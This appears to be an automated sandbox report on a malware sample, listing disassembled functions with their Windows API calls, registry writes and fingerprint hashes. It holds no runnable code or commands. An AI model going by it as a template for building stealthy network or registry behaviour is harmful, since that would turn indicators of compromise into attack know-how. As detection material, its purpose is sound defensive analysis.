API ID: AllocateHeap__vswprintf_malloc
String ID: [RI] %d bytes$input ack: sn=%lu rtt=%ld rto=%ld$input probe$input psh: sn=%lu ts=%lu$input wins: %lu
API String ID: 3723585974-868042568
Opcode ID: a1ed18bb6bf2ace4a9a1db2cb34c74722b5b1233dc9ea4b3da99d39427f30eef
Instruction ID: 61f360d82c3d4369fa54d562027359d6f12391506cb2d85ba7f8c39b885bda82
Opcode Fuzzy Hash: a1ed18bb6bf2ace4a9a1db2cb34c74722b5b1233dc9ea4b3da99d39427f30eef
Instruction Fuzzy Hash: 51B1AF75A002058BCF18CF69C8C86BA7BA6FF84314F0846BEDD499B346D771DA45CB92

Function 03771830 Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 03771878
_free.LIBCMT ref: 037718B6
_free.LIBCMT ref: 037718F5
_free.LIBCMT ref: 03771935
_free.LIBCMT ref: 0377195D
_free.LIBCMT ref: 03771981
_free.LIBCMT ref: 037719B9

Part of subcall function 0377F639: RtlFreeHeap.NTDLL(00000000,00000000,?,03783E4C,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76), ref: 0377F64F
Part of subcall function 0377F639: GetLastError.KERNEL32(00000000,?,03783E4C,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76,00000000), ref: 0377F661

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 06586830e64b33b7d4aa8dc10a299d73e2e0036fedba189d929af3703125b820
Instruction ID: 1b4bbf19141e1184340ee1441d5d7d35489773cc01b72de9b03f499eedb6daba
Opcode Fuzzy Hash: 06586830e64b33b7d4aa8dc10a299d73e2e0036fedba189d929af3703125b820
Instruction Fuzzy Hash: 84514DB6A00211CFDB14DF58C184965BBB6FF89214B6980BDD50A9F321D732AD42CF91

Function 02C61830 Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02C61878
_free.LIBCMT ref: 02C618B6
_free.LIBCMT ref: 02C618F5
_free.LIBCMT ref: 02C61935
_free.LIBCMT ref: 02C6195D
_free.LIBCMT ref: 02C61981
_free.LIBCMT ref: 02C619B9

Part of subcall function 02C66E49: HeapFree.KERNEL32(00000000,00000000,?,02C69900,00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F), ref: 02C66E5F
Part of subcall function 02C66E49: GetLastError.KERNEL32(00000000,?,02C69900,00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F,00000000), ref: 02C66E71

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ecd2d68ca2cf95cc2344cb4762ca5cb7522a901389cc8024da71331bc0440b97
Instruction ID: 9127faf11660656e2b80ca6128182fadcb0c3040b9eb6de92a5a2c29f2c73c14
Opcode Fuzzy Hash: ecd2d68ca2cf95cc2344cb4762ca5cb7522a901389cc8024da71331bc0440b97
Instruction Fuzzy Hash: 7D514D72A00210CFD714DF59C5C8969BBA6BF8931972E81ADC50EAF311C772AE52CF91

Function 03773870 Relevance: 10.6, APIs: 7, Instructions: 149threadnetworktimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 03773883
SetWaitableTimer.KERNEL32(?,?,?,00000000,00000000,00000000,?,00000000,FFFFD8F0,000000FF), ref: 037738C4
WSAWaitForMultipleEvents.WS2_32(00000004,?,00000000,000000FF,00000000), ref: 03773931
GetCurrentThreadId.KERNEL32 ref: 0377395C
GetLastError.KERNEL32(?,00000000,000000FF,00000000), ref: 037739F4
SetLastError.KERNEL32(0000139F,?,00000000,000000FF,00000000), ref: 03773A22
WSAGetLastError.WS2_32(?,00000000,000000FF,00000000), ref: 03773A39

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ErrorLast$CurrentThread$EventsMultipleTimerWaitWaitable
String ID:
API String ID: 3058130114-0
Opcode ID: 27f0bc4b4147f3daaab859d2f9508a4a4f382c87182947d0d0d6d91ea91df48e
Instruction ID: 4ede836604282eb9d1ed79adb64ce98868e67e2ef163ffd809042220ff7a7563
Opcode Fuzzy Hash: 27f0bc4b4147f3daaab859d2f9508a4a4f382c87182947d0d0d6d91ea91df48e
Instruction Fuzzy Hash: 7651A3786007059BFF20EF24C984B9AB7E8BF44718F14492AE956DB280DB75F840DF91

Function 02C63870 Relevance: 10.6, APIs: 7, Instructions: 149threadnetworktimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02C63883
SetWaitableTimer.KERNEL32(?,?,?,00000000,00000000,00000000,?,00000000,FFFFD8F0,000000FF), ref: 02C638C4
WSAWaitForMultipleEvents.WS2_32(00000004,?,00000000,000000FF,00000000), ref: 02C63931
GetCurrentThreadId.KERNEL32 ref: 02C6395C
GetLastError.KERNEL32(?,00000000,000000FF,00000000), ref: 02C639F4
SetLastError.KERNEL32(0000139F,?,00000000,000000FF,00000000), ref: 02C63A22
WSAGetLastError.WS2_32(?,00000000,000000FF,00000000), ref: 02C63A39

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: ErrorLast$CurrentThread$EventsMultipleTimerWaitWaitable
String ID:
API String ID: 3058130114-0
Opcode ID: f465474630c30891e437f65232dffdf5523e20e669d825d9d0f400f13687f7c1
Instruction ID: 5ede6ca77a58c8511b9bafdf88db4bc7284f93753e356e55281eaf7f5b59ad01
Opcode Fuzzy Hash: f465474630c30891e437f65232dffdf5523e20e669d825d9d0f400f13687f7c1
Instruction Fuzzy Hash: DC51BF70A007419BDB209F64C9C8BBAB7E5BF85B18F504959DD5ADB280EB31EA40CF91

Function 0377E6B0 Relevance: 10.5, APIs: 7, Instructions: 44filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,?,?,0377E815,?,?,?,?,74DF23A0,00000000), ref: 0377E6BD
CreateFileW.KERNEL32(037A0D80,40000000,00000002,00000000,00000004,00000002,00000000,?,?,0377E815,?,?,?,?,74DF23A0,00000000), ref: 0377E6D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0377E6F2
lstrlenW.KERNEL32(?,00000000,00000000), ref: 0377E6FF
WriteFile.KERNEL32(00000000,?,00000000), ref: 0377E70A
CloseHandle.KERNEL32(00000000), ref: 0377E711
ReleaseMutex.KERNEL32(00000000), ref: 0377E71E

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
Opcode ID: e164b31dd228f1bf2178b5d9a3100e87ba4cd2175fd9de4eb0cf7900e9bf1595
Instruction ID: 296cd192ff3df01f744ff5db4d9a826bd16d423e1bd1f6b6cd7edb167053f27a
Opcode Fuzzy Hash: e164b31dd228f1bf2178b5d9a3100e87ba4cd2175fd9de4eb0cf7900e9bf1595
Instruction Fuzzy Hash: 7B012D71281208BBE214B764BC0FF9A366CD749721F108745F714E61C5C7B8581187A4

Function 03783D2E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,03796318,00000008,03783E36,00000000,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C), ref: 03783D3F
__lock.LIBCMT ref: 03783D73

Part of subcall function 03788E5B: __mtinitlocknum.LIBCMT ref: 03788E71
Part of subcall function 03788E5B: __amsg_exit.LIBCMT ref: 03788E7D
Part of subcall function 03788E5B: EnterCriticalSection.KERNEL32(00000000,00000000,?,03783F06,0000000D,03796340,00000008,03783FFF,00000000,?,037810F0,00000000,03796278,00000008,03781155,?), ref: 03788E85

InterlockedIncrement.KERNEL32(?), ref: 03783D80
__lock.LIBCMT ref: 03783D94
___addlocaleref.LIBCMT ref: 03783DB2

Strings

KERNEL32.DLL, xrefs: 03783D3A

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 5aae2047b7784a2c55cff49b84ed8b07f1b2f3329925a6f264637cd3310d1e0b
Instruction ID: 6d22edb9e1fb2280c7f986dd1aae3700977e01883f9835bc5297ddb911a26f91
Opcode Fuzzy Hash: 5aae2047b7784a2c55cff49b84ed8b07f1b2f3329925a6f264637cd3310d1e0b
Instruction Fuzzy Hash: AE018479480B01EFFB20FF69D809749FBE0AF44724F108A4ED596AB7A0CBB4A545CB15

Function 02C697E2 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,02C77C00,00000008,02C698EA,00000000,00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C), ref: 02C697F3
__lock.LIBCMT ref: 02C69827

Part of subcall function 02C6C144: __mtinitlocknum.LIBCMT ref: 02C6C15A
Part of subcall function 02C6C144: __amsg_exit.LIBCMT ref: 02C6C166
Part of subcall function 02C6C144: EnterCriticalSection.KERNEL32(00000000,00000000,?,02C699BA,0000000D,02C77C28,00000008,02C69AB1,00000000,?,02C67711,00000000,02C77B60,00000008,02C67776,?), ref: 02C6C16E

InterlockedIncrement.KERNEL32(?), ref: 02C69834
__lock.LIBCMT ref: 02C69848
___addlocaleref.LIBCMT ref: 02C69866

Strings

KERNEL32.DLL, xrefs: 02C697EE

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 9ac01b06c9d5690d68d44f5207b3511c6dde6299e6f2518af84079dd06ff62f0
Instruction ID: 9ad7fd6743fef40443e74a4dfc67fc50ac3d8add0c9e42f91a4470d72b7a636a
Opcode Fuzzy Hash: 9ac01b06c9d5690d68d44f5207b3511c6dde6299e6f2518af84079dd06ff62f0
Instruction Fuzzy Hash: 4F01C0B1840B009FE320AF69C98C759FBF1AF54321F10890ED8DA97290CBB4A644DF11

Function 0377B78C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 32registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Console,00000000,00000002), ref: 0377B7A7
RegDeleteValueW.ADVAPI32(?,IpDatespecial), ref: 0377B7B7
RegSetValueExW.ADVAPI32(?,IpDatespecial,00000000,00000003,?,00000004), ref: 0377B7CE
RegCloseKey.ADVAPI32(?,?,00000004), ref: 0377B7D9

Strings

Console, xrefs: 0377B79D
IpDatespecial, xrefs: 0377B7B1, 0377B7C8

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Value$CloseDeleteOpen
String ID: Console$IpDatespecial
API String ID: 3183427449-1840232981
Opcode ID: 285438ca7be8292d9dda37bbc5c68670987143911d4dbd5f8d307eb7f3649e03
Instruction ID: ea708eee807a62877f83689af6ecc8e320521b446e5d9ff9dab8b9844603d848
Opcode Fuzzy Hash: 285438ca7be8292d9dda37bbc5c68670987143911d4dbd5f8d307eb7f3649e03
Instruction Fuzzy Hash: 6BF02771344348FFE325A764AC0FF1AB764F789710F008B4FF780651828264A001C755

Function 037902FC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0379031D

Part of subcall function 03783E5B: __getptd_noexit.LIBCMT ref: 03783E5E
Part of subcall function 03783E5B: __amsg_exit.LIBCMT ref: 03783E6B

__getptd.LIBCMT ref: 0379032E
__getptd.LIBCMT ref: 0379033C

Strings

csm, xrefs: 03790316
RCC, xrefs: 03790308
MOC, xrefs: 0379030F

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: a1f0d33c8d38bd48e94782b4de51ff7935ea793739f44933f6f473294c896614
Instruction ID: 47f21f1f0dd88a0a703a1df303f7e62a249c01377c37bac3dfda92075134647b
Opcode Fuzzy Hash: a1f0d33c8d38bd48e94782b4de51ff7935ea793739f44933f6f473294c896614
Instruction Fuzzy Hash: 20E01A3C560204CFEB20EB6CD08AB6836D9BF4CA14F5905A7D40CCF222C738E4908A83

Function 02C733F1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02C73412

Part of subcall function 02C6990F: __getptd_noexit.LIBCMT ref: 02C69912
Part of subcall function 02C6990F: __amsg_exit.LIBCMT ref: 02C6991F

__getptd.LIBCMT ref: 02C73423
__getptd.LIBCMT ref: 02C73431

Strings

RCC, xrefs: 02C733FD
csm, xrefs: 02C7340B
MOC, xrefs: 02C73404

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 6cafc6eb67b1167ca934f12c74b901a19b36c58c2209ef507fb1707306695bdb
Instruction ID: 5225a0c840c634e7907a89fb12d50d9a723bf948b54f46991bfdac8a03af220f
Opcode Fuzzy Hash: 6cafc6eb67b1167ca934f12c74b901a19b36c58c2209ef507fb1707306695bdb
Instruction Fuzzy Hash: 34E01A305041888EC724AB68C08DB783BE5FBC8318F5A44F5E45DDB222C739EA50F946

Function 03779C30 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 03779C3F

Part of subcall function 0377F673: __FF_MSGBANNER.LIBCMT ref: 0377F68C
Part of subcall function 0377F673: __NMSG_WRITE.LIBCMT ref: 0377F693
Part of subcall function 0377F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76), ref: 0377F6B8

_free.LIBCMT ref: 03779C63
_memset.LIBCMT ref: 03779CBB

Part of subcall function 0377A610: GetObjectW.GDI32(?,00000054,?), ref: 0377A62E

CreateDIBSection.GDI32(00000000,00000008,00000000,00000000,00000000,00000000), ref: 03779CD3
_free.LIBCMT ref: 03779CE4
_free.LIBCMT ref: 03779D23

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: _free$AllocateCreateHeapObjectSection_malloc_memset
String ID:
API String ID: 1756752955-0
Opcode ID: c9b824b4f6f425528869821faf3fac010f304e4e9e2069a0b99fdeadb992eb45
Instruction ID: cfa9e7b64ca34f995fcabe88d5d8e92141579368c87c3fbc19f7597a1cdc4df5
Opcode Fuzzy Hash: c9b824b4f6f425528869821faf3fac010f304e4e9e2069a0b99fdeadb992eb45
Instruction Fuzzy Hash: 0C31A1B26013066BEB10DF3AD984B56B7E8BF4A314F04853ADA09CB650F7B1E454CBA1

Function 03775080 Relevance: 9.1, APIs: 6, Instructions: 107networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(000002FF), ref: 037750CA
WSASetLastError.WS2_32(0000139F), ref: 037750E2
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,?,00000000,000000FF), ref: 037750EC

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: 25bc45b261c2acb6f3d8ff722be6f51b8679b0991b1c7b479135f7982b8d8b91
Instruction ID: c1967892b2471ae2a0dfff31c3905607f5361353d025eccdfaf00a5cf1b3d5ff
Opcode Fuzzy Hash: 25bc45b261c2acb6f3d8ff722be6f51b8679b0991b1c7b479135f7982b8d8b91
Instruction Fuzzy Hash: 8031B076604348ABDB14DF54D845B6AB3E8FB49721F008A5EE915C7680E73AA810CB50

Function 02C65060 Relevance: 9.1, APIs: 6, Instructions: 107networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(000002FF), ref: 02C650AA
WSASetLastError.WS2_32(0000139F), ref: 02C650C2
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,?,00000000,000000FF), ref: 02C650CC

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: a1e9ff6469bb4cf599bfd9999b61cfbe1484d4c872b1949bab025c54520b25c1
Instruction ID: 753567789646d87140935781ce98b2a18eb574711eb93022b9ef526636c73949
Opcode Fuzzy Hash: a1e9ff6469bb4cf599bfd9999b61cfbe1484d4c872b1949bab025c54520b25c1
Instruction Fuzzy Hash: 9331CB72A44644ABD720CF94EC89B6AB3E9FB48751F508A1AED06C7780D736E810CB90

Function 02C6485A Relevance: 9.1, APIs: 6, Instructions: 91sleepsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 02C648E1
WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 02C648EC
Sleep.KERNEL32(00000258,?,E484B528,?,?,?), ref: 02C648F9
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 02C64914
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 02C6491D
Sleep.KERNEL32(0000012C,?,E484B528,?,?,?), ref: 02C6492E

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CloseHandleObjectSingleSleepWait
String ID:
API String ID: 640476663-0
Opcode ID: 6bcaede5f1886750debe952bbea589acb78c56c6fc0b0988769e3d1ae8be83e5
Instruction ID: eac536ef73d1c1c8866a309e30a484af165a67c75058a2096b70a4a5bec3a19a
Opcode Fuzzy Hash: 6bcaede5f1886750debe952bbea589acb78c56c6fc0b0988769e3d1ae8be83e5
Instruction Fuzzy Hash: 33216A721442848BCB24EBA9DC88A97F3F9FF8A754B540B08E554C7385C6759805CFE0

Function 037905AE Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 037905D6

Part of subcall function 037900B7: __getptd.LIBCMT ref: 037900C5
Part of subcall function 037900B7: __getptd.LIBCMT ref: 037900D3

__getptd.LIBCMT ref: 037905E0

Part of subcall function 03783E5B: __getptd_noexit.LIBCMT ref: 03783E5E
Part of subcall function 03783E5B: __amsg_exit.LIBCMT ref: 03783E6B

__getptd.LIBCMT ref: 037905EE
__getptd.LIBCMT ref: 037905FC
__getptd.LIBCMT ref: 03790607
_CallCatchBlock2.LIBCMT ref: 0379062D

Part of subcall function 0379015C: __CallSettingFrame@12.LIBCMT ref: 037901A8

Part of subcall function 037906D4: __getptd.LIBCMT ref: 037906E3
Part of subcall function 037906D4: __getptd.LIBCMT ref: 037906F1

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 9bd4502114ce8111bf9d454e7a8e4889f92212de9bfeab1b909444a702fd674f
Instruction ID: 5c61e3235416dec17f5b019835b32c51c6fafffd5120f168d91853f444075f7b
Opcode Fuzzy Hash: 9bd4502114ce8111bf9d454e7a8e4889f92212de9bfeab1b909444a702fd674f
Instruction Fuzzy Hash: FD11DAB9D51309DFEF10EFA4D448B9D77B0FF08710F10816AE825AB250DB7899559F50

Function 0360FF6D Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 0360FF95

Part of subcall function 0360FA76: __getptd.LIBCMT ref: 0360FA84
Part of subcall function 0360FA76: __getptd.LIBCMT ref: 0360FA92

__getptd.LIBCMT ref: 0360FF9F

Part of subcall function 0360381A: __getptd_noexit.LIBCMT ref: 0360381D
Part of subcall function 0360381A: __amsg_exit.LIBCMT ref: 0360382A

__getptd.LIBCMT ref: 0360FFAD
__getptd.LIBCMT ref: 0360FFBB
__getptd.LIBCMT ref: 0360FFC6
_CallCatchBlock2.LIBCMT ref: 0360FFEC

Part of subcall function 0360FB1B: __CallSettingFrame@12.LIBCMT ref: 0360FB67

Part of subcall function 03610093: __getptd.LIBCMT ref: 036100A2
Part of subcall function 03610093: __getptd.LIBCMT ref: 036100B0

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 5f1381efd39d468ef928fc2953ab13acdae555040b7c1ee41bdff31c76f18644
Instruction ID: ba09f7a248fc97c2998ccab73c5e7881e07bd7fab72a292e5ed9c188f19e960e
Opcode Fuzzy Hash: 5f1381efd39d468ef928fc2953ab13acdae555040b7c1ee41bdff31c76f18644
Instruction Fuzzy Hash: A011C979D01309DFDF04EFA4D845AAE7BB5FF04311F1084A9E814AB390DB3899559F54

Function 02C736A3 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 02C736CB

Part of subcall function 02C7325B: __getptd.LIBCMT ref: 02C73269
Part of subcall function 02C7325B: __getptd.LIBCMT ref: 02C73277

__getptd.LIBCMT ref: 02C736D5

Part of subcall function 02C6990F: __getptd_noexit.LIBCMT ref: 02C69912
Part of subcall function 02C6990F: __amsg_exit.LIBCMT ref: 02C6991F

__getptd.LIBCMT ref: 02C736E3
__getptd.LIBCMT ref: 02C736F1
__getptd.LIBCMT ref: 02C736FC
_CallCatchBlock2.LIBCMT ref: 02C73722

Part of subcall function 02C73300: __CallSettingFrame@12.LIBCMT ref: 02C7334C

Part of subcall function 02C737C9: __getptd.LIBCMT ref: 02C737D8
Part of subcall function 02C737C9: __getptd.LIBCMT ref: 02C737E6

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

